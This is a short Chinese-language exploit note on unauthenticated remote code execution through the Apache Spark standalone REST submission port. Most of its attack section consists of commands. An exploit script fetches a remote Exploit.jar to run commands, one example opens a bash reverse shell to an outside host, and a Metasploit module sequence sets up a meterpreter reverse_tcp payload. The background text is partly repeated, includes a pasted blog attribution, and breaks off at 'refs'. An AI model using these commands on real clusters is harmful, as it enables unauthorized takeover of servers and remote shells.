Spark这套计算框架,有多种部署方式,可以部署到一台计算机,也可以是多台(cluster)。我们要去计算数据,就必须要有计算机帮我们计算,当然计算机越多(集群规模越大),我们的计算力就越强。但有时候我们只想在本机做个试验或者小型的计算,因此直接部署在单机上也是可以的。

漏洞利用

要求一

Spark is running on Standalone Mode.

standalone模式

这种模式下,Spark会自己负责资源的管理调度。它将cluster中的机器分为master机器和worker机器,master通常就一个,可以简单的理解为那个后勤管家,worker就是负责干计算任务活的苦劳力。具体怎么配置可以参考Spark

作者:geekpy

链接:https://www.jianshu.com/p/aaac505908dd

来源:简书

著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

要求二

REST URL of Master is accessible.

/bin/spark-submit \
        --cluster cluster_name \
        --master spark://host:port \
        ...

利用方式

EXP脚本

./submit.sh spark_rest_url spark_version jar_url commands



./submit.sh 172.0.0.1:4040 2.3.1 https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar  "whoami"

这是一个反弹shell的例子

./submit.sh 192.168.100.2:6066 2.3.1 https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar "bash -i >& /dev/tcp/192.168.100.1/8888 0>&1"

MSF模块

msf5>use exploit/linux/http/spark_unauth_rce
msf5>set payload java/meterpreter/reverse_tcp
msf5>set rhost 192.168.100.2
msf5>set rport 6066
msf5>set lhost 192.168.100.1
msf5>set lport 4444
msf5>set srvhost 192.168.100.1
msf5>set srvport 8080
msf5>exploit 

背景知识

我们要部署Spark这套计算框架,有多种方式,可以部署到一台计算机,也可以是多台(cluster)。我们要去计算数据,就必须要有计算机帮我们计算,当然计算机越多(集群规模越大),我们的计算力就越强。但有时候我们只想在本机做个试验或者小型的计算,因此直接部署在单机上也是可以的。

我们在初始化SparkConf时,或者提交Spark任务时,都会有这个<font style="color:#404040;">master</font>参数要设置

refs